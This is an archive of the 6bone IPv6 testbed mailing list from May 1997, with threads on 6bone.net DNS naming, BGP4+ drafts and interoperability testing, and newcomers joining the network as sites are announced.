Philip Blundell writes:
> 
> On Thu, 15 May 1997, Bob Fink wrote:
> 
> > This might be a lot of work.  I do think all backbone border routers (and
> > maybe the transits as well) could be named like this.
> > 
> > As we are trying to emulate a real network, maybe we should treat the
> > "leaf" sites as the users and thus not part of the 6bone.net domain.
> 
> I think it would be useful to have leaf sites in the 6bone.net domain as
> well, though maybe under some subdomain of it.  Perhaps I'm alone, but I
> find that connectivity is still sufficiently flaky that I want to ping
> other sites fairly often - and it would be a lot easier to say "ping
> uunet-uk.6bone.net" than to have to look up their RIPE entry and dig out
> the IPv6 address.
> 
> I've added entries for the sites to which I have tunnels to my local DNS
> for just this purpose.
> 
> Is there any way to automatically generate a zone file from the RIPE
> registry?

Yes. this is possible. However, I think that Alain is right that this is
not desired. There is a simple solution for your problem (when we start
using the new routing registry) with a little script that does something
like this:

Command:

rrping ipv6-site

- gets object 'ipv6-site' from routing registry with whois
- gets first application: ping line
- does a ping to the site as specified in the routing registry

David K.

PS I am willing to write such a script and post it if you think that it
   is useful.
---

From majordom@ISI.EDU  Fri May 16 10:47:04 1997
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From: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
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Subject: Re: 6bone.net now active
In-Reply-To: <v03007818afa0e5d8d32d@[128.3.9.22]> from Bob Fink at "May 15, 97 09:13:34 am"
To: RLFink@lbl.gov (Bob Fink)
Date: Fri, 16 May 1997 08:47:04 +0200 (MET DST)
Cc: Erich.Meier@informatik.uni-erlangen.de, 6bone@isi.edu
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Bob,

> >As I mentioned earlier, I would enter the border routers of every IPv6 site
> >into the 6bone.net zone with the short site name (e.g. "fauern.6bone.net" or
> >"join.6bone.net" or "cisco.6bone.net" - I think you get the idea ;-). That
> >would make traceroutes much easier to understand.
> 
> This might be a lot of work.  I do think all backbone border routers (and
> maybe the transits as well) could be named like this.
> 
> As we are trying to emulate a real network, maybe we should treat the
> "leaf" sites as the users and thus not part of the 6bone.net domain.

OK, this sounds very reasonable. So let's treat 6bone.net just as a "pointer
domain" into the local IPv6 clouds and an "information domain" users interested
in operating new IPv6 networks.

From reading the other replies, I think this is rough consensus.
Status: RO

Regards,
Erich
-- 
Erich Meier	                         Erich.Meier@informatik.uni-erlangen.de
				  http://www4.informatik.uni-erlangen.de/~meier

From majordom@ISI.EDU  Fri May 16 07:33:44 1997
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References: Bob Fink <RLFink@lbl.gov> "Re: 6bone.net now active"
 <v03007823af9ec6ff3176@[128.3.9.22]> (May 15, 9:13am) "from Bob Fink at
 May 13 97 06:43:28 pm" <v03007818afa0e5d8d32d@[128.3.9.22]>
 <v03007803afa0f8a4c475@[128.3.9.22]>
Mime-Version: 1.0
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Date: Fri, 16 May 1997 11:33:44 -0400
To: Frank Lepera <flep@bnl.gov>
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: 6bone.net now active
Cc: Bob Fink <RLFink@lbl.gov>, Alain Durand <Alain.Durand@imag.fr>,
        Erich Meier <Erich.Meier@informatik.uni-erlangen.de>,
        6BONE Mailer <6bone@ISI.EDU>
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Status: RO

At 3:00 PM -0400 5/15/97, Frank Lepera wrote:
>Bob...
>
>Isn't the 6 in "6bone.net" not allowed in DNS? I thought a
>"label" in the DNS domainname could not or should not start
>with a numeric.
>
>--
>
>Frank Lepera				flep@bnl.gov
>Network Engineering Section, CCD
>Brookhaven National Laboratory		[516]344-4183

My understanding is that was changed to accomodate domains like 3com.com.


Jimmy



From majordom@ISI.EDU  Fri May 16 02:01:51 1997
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References: 
 <Pine.SOL.3.96.970515191946.19218C-100000@hammer.thor.cam.ac.uk> from
 "Philip Blundell" at May 15, 97 07:22:24 pm
Mime-Version: 1.0
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Date: Fri, 16 May 1997 09:01:51 -0700
To: davidk@isi.edu, pjb27@cam.ac.uk (Philip Blundell)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 6bone.net now active
Cc: 6bone@isi.edu
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At 1:49 PM -0700 5/15/97, davidk@isi.edu wrote:
>Philip,
>
>Philip Blundell writes:
>>
>> On Thu, 15 May 1997, Bob Fink wrote:
>>
>> > This might be a lot of work.  I do think all backbone border routers (and
>> > maybe the transits as well) could be named like this.
>> >
>> > As we are trying to emulate a real network, maybe we should treat the
>> > "leaf" sites as the users and thus not part of the 6bone.net domain.
>>
>> I think it would be useful to have leaf sites in the 6bone.net domain as
>> well, though maybe under some subdomain of it.  Perhaps I'm alone, but I
>> find that connectivity is still sufficiently flaky that I want to ping
>> other sites fairly often - and it would be a lot easier to say "ping
>> uunet-uk.6bone.net" than to have to look up their RIPE entry and dig out
>> the IPv6 address.
>>
>> I've added entries for the sites to which I have tunnels to my local DNS
>> for just this purpose.
>>
>> Is there any way to automatically generate a zone file from the RIPE
>> registry?
>
>Yes. this is possible. However, I think that Alain is right that this is
>not desired. There is a simple solution for your problem (when we start
>using the new routing registry) with a little script that does something
>like this:
>
>Command:
>
>rrping ipv6-site
>
>- gets object 'ipv6-site' from routing registry with whois
>- gets first application: ping line
>- does a ping to the site as specified in the routing registry
>
>David K.
>
>PS I am willing to write such a script and post it if you think that it
>   is useful.

I think this is a good thing to do, espcially as the tone of the email on
the use ofthe 6bone.net domain seems to be to keep it to more limited scope.


Thanks,

Bob



From majordom@ISI.EDU  Fri May 16 02:10:53 1997
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To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 18
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new 6bone backbone links diagram - version 18

http://www.6bone.net/6bone-bblinks.html

	add SURFNET/NL to ANS/US using BGP4+


Thanks,

Bob



From majordom@ISI.EDU  Fri May 16 08:31:04 1997
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Subject: BGP4+  
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I am seeing mail that folks are implementing BGP4+?

What draft spec is this being implemented from?

Jitu Patel asked on the IPv6imp list but no response yet.

thanks
/jim

From majordom@ISI.EDU  Fri May 16 04:17:42 1997
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Date: Fri, 16 May 1997 11:17:42 -0700
To: <bound@zk3.dec.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: BGP4+
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Jim,

At 9:31 AM -0700 5/16/97, <bound@zk3.dec.com> wrote:
>I am seeing mail that folks are implementing BGP4+?
>
>What draft spec is this being implemented from?
>
>Jitu Patel asked on the IPv6imp list but no response yet.

I may be wrong on this, but I believe all the 6bone BGP4+ tunnels in use to
date are using the Cicso field test version.

And I have no clue as to what the real spec of that implemenation is, nor
how they deal with any policy.


Bob



From majordom@ISI.EDU  Fri May 16 10:57:05 1997
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Date: Fri, 16 May 1997 14:57:05 -0400 (EDT)
From: "Dorian R. Kim" <dorian@cic.net>
To: bound@zk3.dec.com
Cc: 6bone@ISI.EDU
Subject: Re: BGP4+  
In-Reply-To: <9705161631.AA05808@wasted.zk3.dec.com>
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On Fri, 16 May 1997 bound@zk3.dec.com wrote:

> I am seeing mail that folks are implementing BGP4+?
> 
> What draft spec is this being implemented from?

I would assume the multiprotocol BGP drafts of Bates, Chandra et al.

-dorian


From majordom@ISI.EDU  Fri May 16 12:10:39 1997
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To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: BGP4+ 
In-Reply-To: Your message of "Fri, 16 May 97 11:17:42 PDT."
             <v03007815afa24fffb5b3@[128.3.9.22]> 
Date: Fri, 16 May 97 16:10:39 -0400
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Bob,

>>I am seeing mail that folks are implementing BGP4+?
>>
>>What draft spec is this being implemented from?
>>
>>Jitu Patel asked on the IPv6imp list but no response yet.
>
>I may be wrong on this, but I believe all the 6bone BGP4+ tunnels in use to
>date are using the Cicso field test version.
>
>And I have no clue as to what the real spec of that implemenation is, nor
>how they deal with any policy.

Well so it can be tested by multiple vendors knowing what the spec is I
think is pretty important.  

So should I go invent my version of BGP for IPv6 and start using it on
the 6bone next week?  This could be a slippery slope here.

thanks
/jim

From majordom@ISI.EDU  Fri May 16 12:28:31 1997
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Subject: Re: BGP4+ 
In-Reply-To: Your message of "Fri, 16 May 97 14:57:05 EDT."
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>I would assume the multiprotocol BGP drafts of Bates, Chandra et al.

OK that would be:

draft-bates-bgp4-multiprotocol-01.txt

I don't care either way... But if it is what we are doing I know it
would be good for all to implement it if possible for a potential UNH
IPv6 interoperability event to test it out in late July.

Can someone from Cisco share with us is this the draft?  If I tcpdump
onee of your packets it would help too.  thanks....

As I said at the Memphis IETF if you have an implementation and you have
not tested it at UNH bake-off or recent Connectathon for multivendor
interoperability, don't think other than some tunnels your getting this
on the 6bone, cause your not.

Also if Cairn backbone happens and we get native link IPv6 nodes that
have not done this testing will most likely have bugs in their ND,
Autoconf, DNS, and IPv6/IPv4 Interoperation mechanisms those who go to
UNH were able to learn about via implementation.

I would like to see in the RIPE-CC or somewhere a connotation who has
done interoperability testing and who has not.  Of course that would not
mean you did it well as we are all under non-disclosure at these things
and you could have shown up and failed everything but no one could tell
on you or state it in public.  Unless we all agreed to publish our own
results as an open process.  Which is an idea.

/jim



From majordom@ISI.EDU  Fri May 16 07:07:38 1997
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Subject: Re: BGP4+
To: bound@zk3.dec.com
Date: Fri, 16 May 1997 14:07:38 -0700 (PDT)
Cc: RLFink@lbl.gov, 6bone@isi.edu
In-Reply-To: <9705162010.AA09357@wasted.zk3.dec.com> from "bound@zk3.dec.com" at May 16, 97 04:10:39 pm
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> So should I go invent my version of BGP for IPv6 and start using it on
> the 6bone next week?  
> 
> thanks
> /jim

You bet.  And so should Dimitry. And there are the IDRPv6 folks out there
also....
The more work on EGPs for v6, the better.

-- 
--bill

From majordom@ISI.EDU  Fri May 16 07:10:16 1997
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From: Dino Farinacci <dino@cisco.com>
To: bound@zk3.dec.com
Cc: dorian@cic.net, 6bone@ISI.EDU
In-Reply-To: <9705162028.AA10802@wasted.zk3.dec.com> (bound@zk3.dec.com)
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>> Can someone from Cisco share with us is this the draft?  If I tcpdump
>> onee of your packets it would help too.  thanks....

    Yes, draft-bates-bgp4-multiprotocol-01.txt is the draft.

>> As I said at the Memphis IETF if you have an implementation and you have
>> not tested it at UNH bake-off or recent Connectathon for multivendor
>> interoperability, don't think other than some tunnels your getting this
>> on the 6bone, cause your not.

    We released this code to our EFT sites. They use it the way they want.

>> I would like to see in the RIPE-CC or somewhere a connotation who has
>> done interoperability testing and who has not.  Of course that would not
>> mean you did it well as we are all under non-disclosure at these things
>> and you could have shown up and failed everything but no one could tell
>> on you or state it in public.  Unless we all agreed to publish our own
>> results as an open process.  Which is an idea.

    Jim, you make it sound like UNH is the only place to do interoperability
    testing. We have found lots of interoperability issues by testing on
    the 6bone. Isn't that the whole point of the 6bone?

Dino

From majordom@ISI.EDU  Fri May 16 07:27:42 1997
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Date: Fri, 16 May 1997 17:26:24 -0400
To: <bound@zk3.dec.com>
From: Dimitry Haskin <dhaskin@baynetworks.com>
Subject: Re: BGP4+ 
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At 04:28 PM 5/16/97 -0400, bound@zk3.dec.com wrote:
>
>>I would assume the multiprotocol BGP drafts of Bates, Chandra et al.
>
>OK that would be:
>
>draft-bates-bgp4-multiprotocol-01.txt
>
>I don't care either way... But if it is what we are doing I know it
>would be good for all to implement it if possible for a potential UNH
>IPv6 interoperability event to test it out in late July.
>
This is not what WE are doing. This is what one vendor is doing and this
was not approved in the IDR WG.  As matter of fact it was decided to go
with BGP5 albeit it was not clear what features will be incorporated in the
next version of bgp.

Dimitry

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To: Dino Farinacci <dino@cisco.com>
Cc: dorian@cic.net, 6bone@isi.edu
Subject: Re: BGP4+ 
In-Reply-To: Your message of "Fri, 16 May 97 14:10:16 PDT."
             <199705162110.OAA29062@stilton.cisco.com> 
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Dino,

First thanks...

I did not mean to say UNH is the only place and I don't think I did say
that but if that is how it came out then thats not what I intended. I
have found bugs from the 6bone too for sure.  

But I may not find a Neighbor Discovery, Solicited Node Muliticast,
API, DNS, Router Advertisements, or Addr Conf bugs on the 6bone.  You
need a native IPv6 backbone to find many of these bugs if they exist
not a tunnel.

I also know we did multiple interface support for IPv6 for Connectathon
(note I mentioned Connectathon too) and thanks to that we found bugs in our
Host and when we turned the Alpha into a router too thanks to other
vendors at Connectathon which we were able to fix and verify it was not
the specs.

My other point is if Cairn happens that will be a native IPv6 link for
us initially on the West Coast.  An implementation can be working fine
with tunnels and then break when its on this native link.  Which was my
last point.  That you can be fine on the 6bone but not on a link with
mulitple implementations.

As far as my connotation in RIPE that was a light comment to kind of
get people to come to UNH to test.  

Sorry what I thought was positive came off negative to you or anyone
else.  The 6bone on the other hand tests parts we cannot possibly test
at UNH to this degree (e.g. Address Arch, Routing Table, ROuting Policy,
Deployment of IPv6 on an Internet, etc..).   So in no way am I
belittling thee importance of the 6bone for testing and many other
benefits it provides.

/jim

From majordom@ISI.EDU  Fri May 16 08:18:16 1997
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From: Dino Farinacci <dino@cisco.com>
To: bound@zk3.dec.com
Cc: dorian@cic.net, 6bone@isi.edu
In-Reply-To: <9705162203.AA17363@wasted.zk3.dec.com> (bound@zk3.dec.com)
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>> But I may not find a Neighbor Discovery, Solicited Node Muliticast,
>> API, DNS, Router Advertisements, or Addr Conf bugs on the 6bone.  You
>> need a native IPv6 backbone to find many of these bugs if they exist
>> not a tunnel.

    I don't see why not. Not every node on the 6bone has a tunnel attached
    to it. There is some native LANs doing neighbor discovery and such. I 
    don't see why API and DNS things need a native structure. But nevermind, 
    back to regulalry scheduled firefighting.

Dino

From majordom@ISI.EDU  Fri May 16 11:50:37 1997
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Date: Fri, 16 May 1997 21:51:37 -0400
To: Pedro Marques <roque@cisco.com>, Dimitry Haskin <dhaskin@baynetworks.com>
From: Dimitry Haskin <dhaskin@baynetworks.com>
Subject: Re: BGP4+ 
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At 03:41 PM 5/16/97 -0700, Pedro Marques wrote:
>    Dimitry> This is not what WE are doing. This is what one vendor is
>    Dimitry> doing and this was not approved in the IDR WG.  As matter
>    Dimitry> of fact it was decided to go with BGP5 albeit it was not
>    Dimitry> clear what features will be incorporated in the next
>    Dimitry> version of bgp.
>
>Dimitry, you do believe that the process of designing BGP 5 will be
>completed in less than 1 and 1/2 years / 2 years ?
>
I hope so.  But, I afraid you might be right considering the "interest"
IPv6 generated at the IDR WG in Memphis :(

>The whole discussion of deciding what features should be on a protocol,
>specially one as critical as BGP is most of the times the more time
>consuming phase of the IETF standards process.
>
>I'm sure that BGP 5 will be a superior alternative to BGP 4+... whatever
>BGP 5 turns out to be. In the meanwhile there are a bunch of happy people
>out there playing with the rude hacks of some bad behaved implementors.

By all means. My statement meant to make sure that there was no illusion
(as seemed Jim had) that there was an IETF consensus on BGP for IPv6 that
every vendor should immediately embrace.

>Besides in don't think the IDR WG ruled out BGP4+...
>
>./Pedro.
>
Dimitry

From majordom@ISI.EDU  Fri May 16 18:22:25 1997
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To: Pedro Marques <roque@cisco.com>
Cc: 6bone@ISI.EDU
Subject: Re: BGP4+ 
In-Reply-To: Your message of "Fri, 16 May 97 15:30:21 PDT."
             <199705162230.PAA10526@pedrom-ultra.cisco.com> 
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Pedro,

>There are two BGP proposals for IPv6:

>- draft-bates-bgp4-multiprotocol-01.txt,  a.k.a. BGP 4+.
>- draft-stewart-bgp-multiprotocol-00.txt, a.k.a. BGP 5.
>
>I don't think there is any possible confusion on the term BGP 4+.

I know.  But all I saw was BGP4 and did not differentiate the 5.  I also
heard a rumor there was a compromise draft of BGP4 btw the two drafts
above.  Guess not.

    Jim> Can someone from Cisco share with us is this the draft?

>I'm not speaking for cisco. Just giving you an overview of what are the
>proposals at the table in the IDR WG.
>Also i'm curious why you asked explicitly about cisco and not telebit.

I did not see where Telebit implemented BGP on the 6bone?  

>Some people believe that interoperability testing on the 6bone is more
>valuable than UNH testing. The whole purpose of the 6bone is
>interoperability testing.

Well they don't know what they are talking about.  And the Linux comment
is bogus we are working on getting Linux in the next test period at UNH
as a University implementation which does not have to pay the fee.  
Only vendors, research institutes,  and consortias are charged.

The test suites at UNH test specific features and will cause
ill-behavior to see if the implementation does the right thing according
to the spec. There are a specific set of tests of the assertions from the
specifications for Hosts and Routers.  The 6bone is a good test method
for parts of IPv6.  But we need more than that to test IPv6.     

>But i'm not sure i understand your message. Do you propose that UNH issues
>certifications for ipv6 implementations and that non certified implementations
>would not be allowed in the 6bone and/or cairn ?

ABSOULETLY NOT.  Anyone who would suggest such a thing is a moron.  I
have no clue how you came up with this one at all. 

>I fear that such meassure would left off some of the most popular unix
>implementations (e.g. Linux) from the 6bone. Also it is not clear how do
>you propose to enforce such restriction.

I am not so have no response to this.

    Jim> I would like to see in the RIPE-CC or somewhere a connotation
    Jim> who has done interoperability testing and who has not.

>I'm more confused. RIPE-NCC ftp site has a list of 6bone nodes. You mean the 
>6bone sites should participate in UNH testing ? Or should the registry have
>a list of blessed implementations ?

I am saying any implementation on the 6bone by definition has done
testing.  This is idempotent.  

In addition have:

  Participated in Connectathon:  YES or NO
  Participated in UNH Testing :  YES or NO

That is all.  Whether we like it or not the market is watching the 6bone
and if you have done the above you have tested your implementation in 
another very rigorous interoperability environment.  Also at least 90% of the
implementations have (inluding Cisco) been at UNH, also Netbsd and Freebsd 
has done this too.  So I think its a positive entry in the RIPE to add to the
demonstration that the 6bone nodes are serious implementations.  Its
not a negative thing but a positive thing I propose.  

Regarding Linux.  I did a talk at UNH to the NH Linux Users Group on
IPv6 about 7 weeks ago.  From that meeting I think we determined we
need to get Linux as status quo at the next UNH Test Period.  I am
working that in my personal time to make that happen (not Digital time).
I am doing an IPv6 dinner talk in July for the Boston Linux and Internet
SIG Group in July.  Again objective is to get Linux in the UNH test
loop.

Do you get the point now.  I care less if you agree but you came up with
all these negatives.  Or are you just mistrust of me personally and
picking a fight with me?   If thats the case lets take it off line and I
will get into a flame fest with you privately.   

/jim


From majordom@ISI.EDU  Sat May 17 02:23:20 1997
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Date: Sat, 17 May 1997 18:26:52 +0900
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I'm a student in Hanyang graduate school.

I wanna attach my computers to 6bone.

OS is Solaris x86 2.5.1, 
IP address is 166.104.190.251,
and IPv6 address is 5F0A:300:A668:BE00::60:9721:56AA.

I cannot be sure that my ASN(2563) is correct. Is it so important?

And I think that an appropriate attachment point is NRL/US 
where is the attachment point of KAIST in my country.

I have little idea about how to verify 
if my machine works well in IPv6 enviroment.

Thanks.

From majordom@ISI.EDU  Sat May 17 17:00:11 1997
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Date: Sat, 17 May 1997 14:00:11 +0300 (EET DST)
From: Matei Conovici <cmatei@pub.ro>
To: 6bone@ISI.EDU
Subject: linux question
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Sorry for the slightly off-topic post.

I am trying to compile ping for linux with ipv6 and I get
IPV6_PKTINFO undefined.

Does anyone know what is the right value for this (or where is it found) ?
Mail directly to me, not the list.

Thanks,

---------
Matei CONOVICI, YO3GEK, MC4471, MC151-RIPE
cmatei@roedu.net, cmatei@pub.ro, cmatei@edu.ro, cmatei@lbi.ro


From majordom@ISI.EDU  Tue May 20 13:33:45 1997
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From: Stephane Bortzmeyer <bortzmeyer@pasteur.fr>
To: Matei Conovici <cmatei@pub.ro>
Cc: 6bone@ISI.EDU
Subject: Re: linux question 
In-Reply-To: <Pine.LNX.3.93.970517135721.4549A-100000@waiting.pub.ro> 
     (Matei Conovici <cmatei@pub.ro>'s message of 
     Sat, 17 May 97 14:00:11 +0300)
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On Saturday 17 May 97, at 14 h 0, the keyboard of Matei Conovici 
<cmatei@pub.ro> wrote:

> Sorry for the slightly off-topic post.

It is completely off-topic. There is a mailing-list for Linux+IPv6 
developments, "netdev". Since that code is not stable and rapidly 
changing, reading this mailing list is, IMHO, mandatory, especially if 
you plan to compile programs. 

> I am trying to compile ping for linux with ipv6 and I get
> IPV6_PKTINFO undefined.

FAQ on the "netdev" list.


From majordom@ISI.EDU  Tue May 20 14:36:50 1997
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Date: Tue, 20 May 1997 13:36:50 +0100 (BST)
From: Philip Blundell <pjb27@cam.ac.uk>
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To: Stephane Bortzmeyer <bortzmeyer@pasteur.fr>
Cc: Matei Conovici <cmatei@pub.ro>
Subject: Re: linux question 
In-Reply-To: <199705200933.LAA06026@josephine.sis.pasteur.fr>
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On Tue, 20 May 1997, Stephane Bortzmeyer wrote:

> On Saturday 17 May 97, at 14 h 0, the keyboard of Matei Conovici 
> <cmatei@pub.ro> wrote:
> 
> > Sorry for the slightly off-topic post.
> 
> It is completely off-topic. There is a mailing-list for Linux+IPv6 
> developments, "netdev". Since that code is not stable and rapidly 
> changing, reading this mailing list is, IMHO, mandatory, especially if 
> you plan to compile programs. 

With due apologies to (probably the majority of) 6bone readers who aren't
interested in Linux, the `netdev' mailing list was created specifically so
that the _developers_ would have somewhere to escape from user questions.

Read the list by all means, and browse the archives, but you should
probably direct your "how do I..." questions to the `linux-net' list
instead.  Please don't recommend netdev as a general forum for IPv6 help;
IPv6 under Linux isn't really rocket science any more, so you don't need
to actually be a developer to use it. 

p.


From majordom@ISI.EDU  Tue May 20 19:01:21 1997
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Date: Tue, 20 May 1997 16:01:21 +0300 (EET DST)
From: Matei Conovici <cmatei@pub.ro>
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To: 6bone@isi.edu
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Subject: New 6bone island
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Hi!

I'm happy to announce a new ipv6 island, 5f0a:3600::0/32, located in
Bucharest, Romania, at the roedu.net (Romanian Higher Education Network)
NOC.

We are currently being tunneled by UUNET/UK. 

I am waiting a reply from ripe to get access to ipv6/ip6rr, to register
ROEDUNET.

---------
Matei CONOVICI, YO3GEK, MC4471, MC151-RIPE
cmatei@roedu.net, cmatei@pub.ro, cmatei@edu.ro, cmatei@lbi.ro



From majordom@ISI.EDU  Tue May 20 17:31:11 1997
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From: Ciaran Treanor <ciaran@broadcom.ie>
Reply-To: "ciaran@broadcom.ie" <ciaran@broadcom.ie>
To: "6bone@isi.edu" <6bone@isi.edu>
Subject: DNS Help
Date: Tue, 20 May 1997 16:31:11 +0100
Organization: Broadcom Eireann Research
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Hi,
We've just set up a tunnel to CSELT. Currently there are two
dual stack machines on our network. One of them is an IPv6 router
and I want to set up the other one as the IPv6 DNS server (I don't
really want to mess around with our main DNS server!)

I would like these two machines to be part of the domain
ipv6.broadcom.ie but what I'm wondering is will that break
NFS etc. since their current domain is broadcom.ie and they
are mounting disks from another server.

What is the best way to set this up? Oh yeah, could someone
show me an IPv6 reverse lookup file?

Sorry for all the questions, but I couldn't find much documentation

Thanks,
Ciaran
--
Ciaran Treanor            +353-1-604-6000         ciaran@broadcom.ie
Broadcom Eireann Research Ltd.                         PGP Signature
http://www.broadcom.ie/~ct/                              on HomePage
"If you're playing your records backwards, you ARE Satan"-Bill Hicks


From majordom@ISI.EDU  Tue May 20 02:21:58 1997
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Subject: Re: DNS Help
To: ciaran@broadcom.ie
Date: Tue, 20 May 1997 09:21:58 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <01BC653B.3B802160@ciaran@broadcom.ie> from "Ciaran Treanor" at May 20, 97 04:31:11 pm
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> What is the best way to set this up? Oh yeah, could someone
> show me an IPv6 reverse lookup file?
> 
> 
;
;	cselt delegation. 14apr97 Domenico.Mazzei@cselt.it
;
0.0.d.4.6.1.f.5.ip6.int.        in      ns      kenoby.cselt.it.
				in      ns      lemon.cselt.it.
;

--bill

From majordom@ISI.EDU  Wed May 21 03:05:24 1997
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Date: Wed, 21 May 1997 10:05:24 -0700
To: "Uhm, Ki Jong" <kjum@hyuee.hanyang.ac.kr>, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: How to attach to 6bone
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At 2:26 AM -0700 5/17/97, Uhm, Ki Jong wrote:
>I'm a student in Hanyang graduate school.
>
>I wanna attach my computers to 6bone.
>
>OS is Solaris x86 2.5.1,
>IP address is 166.104.190.251,
>and IPv6 address is 5F0A:300:A668:BE00::60:9721:56AA.
>
>I cannot be sure that my ASN(2563) is correct. Is it so important?
>
>And I think that an appropriate attachment point is NRL/US
>where is the attachment point of KAIST in my country.
>
>I have little idea about how to verify
>if my machine works well in IPv6 enviroment.
>
>Thanks.


Has anyone responded to you yet?

If not, I will endeavour to do so.


Regards,

Bob



From majordom@ISI.EDU  Wed May 21 07:55:19 1997
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 19
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new 6bone backbone links diagram - version 19

http://www.6bone.net/6bone-bblinks.html

	new BGP4+ links from:

		NRL/US to CICNET/US

		NRL/US to CISCO/US


Thanks,


Bob



From majordom@ISI.EDU  Wed May 21 07:52:55 1997
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Subject: new 6bone diagram - version 74
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new 6bone diagram - version 74

http://www.6bone.net/6bone-drawing.html

	add ROEDUNET/RO to UUNET/UK


Welcome to ROEDUNET, the Romanian Higher Education Network in Bucharest,
ROMANIA.


Thanks,

Bob



From majordom@ISI.EDU  Wed May 21 08:15:33 1997
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The list of countries with sites active in 6bone activities is now up at:

	http://www.6bone.net/6bone_countries.html

It is also accessable via the 6bone home page.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 22 17:50:31 1997
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Date: Thu, 22 May 1997 09:50:31 +0800
From: "Chi, Min-Chang" <jmc%brain@tlrouter.tl.gov.tw>
Reply-To: jmc%brain@tlrouter.tl.gov.tw
Organization: Chunghwa Telecommunication Lab.
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Dear Sir,

	We want to join the 6bone. Please inform me where is the most
appropriate attachment point on the 6bone. My location is Taiwan.

Regards,

Min-Chang Chi, Chunghwa Telecommunication Lab.

From majordom@ISI.EDU  Thu May 22 18:08:02 1997
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Date: Thu, 22 May 1997 17:08:02 +0100 (BST)
From: Philip Blundell <pjb27@cam.ac.uk>
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To: 6bone@isi.edu
Subject: Reverse DNS
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Hi everybody.

There are an awful lot of routers and hosts at large in the 6bone with no
apparent reverse DNS mapping.  This is a bit of a nuisance, because it
makes traceroute dumps that much harder to understand when I'm trying to
debug routing problems (of which there still seem to be a few around).

When you have a few spare moments, could you make sure that reverse
mappings are in place for as many of your sites as practical?

As an aside, it looks like about 65 (out of 150) sites are consistently
unreachable from here at the moment.  That's not as bad as it used to be,
but still not too great.  You can get the gory details at
http://twizzle.trin.cam.ac.uk/ipv6/6bone-stats.html (look for the sites
with `never' against them).

p.


From majordom@ISI.EDU  Thu May 22 03:44:36 1997
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Date: Thu, 22 May 1997 10:44:36 -0700
To: jmc%brain@tlrouter.tl.gov.tw, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Finding an attachment point
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At 6:50 PM -0700 5/21/97, Chi, Min-Chang wrote:
>Dear Sir,
>
>	We want to join the 6bone. Please inform me where is the most
>appropriate attachment point on the 6bone. My location is Taiwan.

Gievn there is no 6bone backbone site in Taiwan, you shold most likely use
on of the following US sites.

	ANSNET

	CICNET

	DIGITAL-CA

	NRL

Look in the RIPE-NCC routing registry for contact names for them.

	ftp://ftp.ripe.net/ipv6/ip6rr/




Thanks,

Bob




From majordom@ISI.EDU  Thu May 22 21:22:25 1997
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From: Philip Blundell <pjb27@cam.ac.uk>
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To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: Finding an attachment point
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On Thu, 22 May 1997, Bob Fink wrote:

> Look in the RIPE-NCC routing registry for contact names for them.
> 
> 	ftp://ftp.ripe.net/ipv6/ip6rr/

Incidentally, do we have a timescale for moving to the new registry?
Sorry if this has been discussed before and I missed it. 

p.


From majordom@ISI.EDU  Thu May 22 06:05:49 1997
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Date: Thu, 22 May 1997 13:05:49 -0700
To: Philip Blundell <pjb27@cam.ac.uk>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Finding an attachment point
Cc: 6bone@ISI.EDU
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At 12:22 PM -0700 5/22/97, Philip Blundell wrote:
>On Thu, 22 May 1997, Bob Fink wrote:
>
>> Look in the RIPE-NCC routing registry for contact names for them.
>>
>> 	ftp://ftp.ripe.net/ipv6/ip6rr/
>
>Incidentally, do we have a timescale for moving to the new registry?
>Sorry if this has been discussed before and I missed it.

No, not yet.  David Kessens is real close but went on vacation and has been
quite busy.  We will keep the list informed as soon as we know a timeline.


Thanks,

Bob



From majordom@ISI.EDU  Thu May 22 12:06:07 1997
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Date: Thu, 22 May 1997 16:06:07 -0400
From: Jessica Yu <jyy@ans.net>
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I'd be very glad to setup a tunnel between ANSNet and Chi's site. I have
already sent him the information of my end. 

						--Jessica 

------- Forwarded Message

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Date: Thu, 22 May 1997 10:44:36 -0700
To: jmc%brain@tlrouter.tl.gov.tw, 6bone@ISI.EDU
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Finding an attachment point
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At 6:50 PM -0700 5/21/97, Chi, Min-Chang wrote:
>Dear Sir,
>
>	We want to join the 6bone. Please inform me where is the most
>appropriate attachment point on the 6bone. My location is Taiwan.

Gievn there is no 6bone backbone site in Taiwan, you shold most likely use
on of the following US sites.

	ANSNET

	CICNET

	DIGITAL-CA

	NRL

Look in the RIPE-NCC routing registry for contact names for them.

	ftp://ftp.ripe.net/ipv6/ip6rr/




Thanks,

Bob




------- End of Forwarded Message


From majordom@ISI.EDU  Fri May 23 11:19:30 1997
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From: Ciaran Treanor <ciaran@broadcom.ie>
Reply-To: "ciaran@broadcom.ie" <ciaran@broadcom.ie>
To: "'6bone@isi.edu'" <6bone@isi.edu>
Subject: New 6Bone Island
Date: Fri, 23 May 1997 10:19:30 +0100
Organization: Broadcom Eireann Research
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Hello from Ireland.

I'd like to announce a new Island - BROADCOM
Full information available in ipv6/ip6rr

Thanks to CSELT for the tunnel!

Looking forward to appearing on the map.

--
Ciaran Treanor            +353-1-604-6000         ciaran@broadcom.ie
Broadcom Eireann Research Ltd.                         PGP Signature
http://www-usru.broadcom.ie/~ct/                         on HomePage
"If you're playing your records backwards, you ARE Satan"-Bill Hicks


From majordom@ISI.EDU  Fri May 23 00:09:41 1997
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Date: Fri, 23 May 1997 07:09:41 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 75
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new 6bone diagram - version 75

http://www.6bone.net/6bone-drawing.html


	add BROADCOM/IE to CSELT/IT


Welcome to BROADCOM in Dublin, Ireland


27 countries on the 6bone!!

http://www.6bone.net/6bone_countries.html


Thanks,

Bob



